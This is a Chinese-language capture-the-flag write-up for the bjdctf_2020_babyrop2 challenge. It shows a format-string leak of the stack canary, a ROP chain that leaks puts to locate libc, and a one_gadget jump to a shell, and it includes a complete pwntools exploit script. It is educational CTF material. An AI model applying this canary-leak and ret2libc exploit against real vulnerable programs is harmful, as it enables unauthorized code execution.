bjdctf_2020_babyrop2


  這道題是一道基本題,正因為它經典,所以需要重點記錄一下。

  這道題考察格式化字符串泄露canary,然后rop獲得libc版本,之后拿到shell。拿到程序之后我們先檢查一下保護。。。

  開啟了堆棧不可執行和canary保護。接下來ida看一下偽代碼吧!

  main函數中調用了三個函數,我們一個一個點進去看看,先看一下init()。

  有點水文章了。。。第一和函數就是告訴我們說讓門盡力泄露libc的版本。。。來,我們繼續看第二個函數!

  很明顯有一個格式化字符串漏洞,並且format是由我們控制的,這里呢,我們先算一下這個格式化字符串的偏移吧。你看scanf那里,允許我們輸入6個字節。。。那么我們就開始撞運氣泄露偏移吧。。。

  當我們輸入泄露偏移為6處的地址時,找到6161也就是aa,那么說明格式化字符串的偏移就是6,這里我們就要泄露canary,canary是在rbp+8,那么我們只要算好偏移泄露就可以了。

  這里的時候我們是輸入了%6$p,看棧分布,說明我們只要輸入%7$p,就把canary泄露出來了。我們直接運行程序看看。

 

 

  輸出的這個就是canary,%p就是以十六進制輸出數據。

  好,接下來我們看最后一個函數。

  

  就是簡單的棧溢出,構造rop鏈了。

  接下來來看看payload怎么構造。

1 payload = p64(cancry)
2 payload = payload.rjust(0x20,'a')
3 payload += 'bbbbbbbb'
4 payload += p64(pop_rdi)
5 payload += p64(puts_got)
6 payload += p64(puts_plt)
7 payload += p64(ret_addr)

  

  把rbp+8的位置放上canary,下來就是簡單泄露libc版本,調用shell了。

貼一下完整的exp:

 1 from pwn import *
 2 import time
 3 
 4 p = process('./bjdctf_2020_babyrop2')
 5 elf = ELF('./bjdctf_2020_babyrop2')
 6 context.log_level = 'debug'
 7 
 8 p.recv()
 9 payload = '%7$p'
10 p.sendline(payload)
11 p.recvuntil('0x')
12 cancry = int(p.recv(16),16)
13 
14 puts_plt = 0x0400610
15 puts_got = elf.got['puts']
16 pop_rdi = 0x0400993
17 main_addr = elf.symbols['main']
18 ret_addr = 0x0400887
19 
20 sleep(1)
21 payload = p64(cancry)
22 payload = payload.rjust(0x20,'a')
23 payload += 'bbbbbbbb'
24 payload += p64(pop_rdi)
25 payload += p64(puts_got)
26 payload += p64(puts_plt)
27 payload += p64(ret_addr)
28 p.recvuntil('story!\n')
29 p.sendline(payload)
30 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print hex(puts_addr)
32 
33 base_addr = puts_addr - 0x06f690
34 shell_addr = base_addr + 0x45216
35 p.recvuntil('story!\n')
36 payload = p64(cancry)
37 payload = payload.rjust(0x20,'a')
38 payload += 'bbbbbbbb'
39 payload += p64(shell_addr)
40 p.sendline(payload)
41 p.interactive()
42 p.close()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM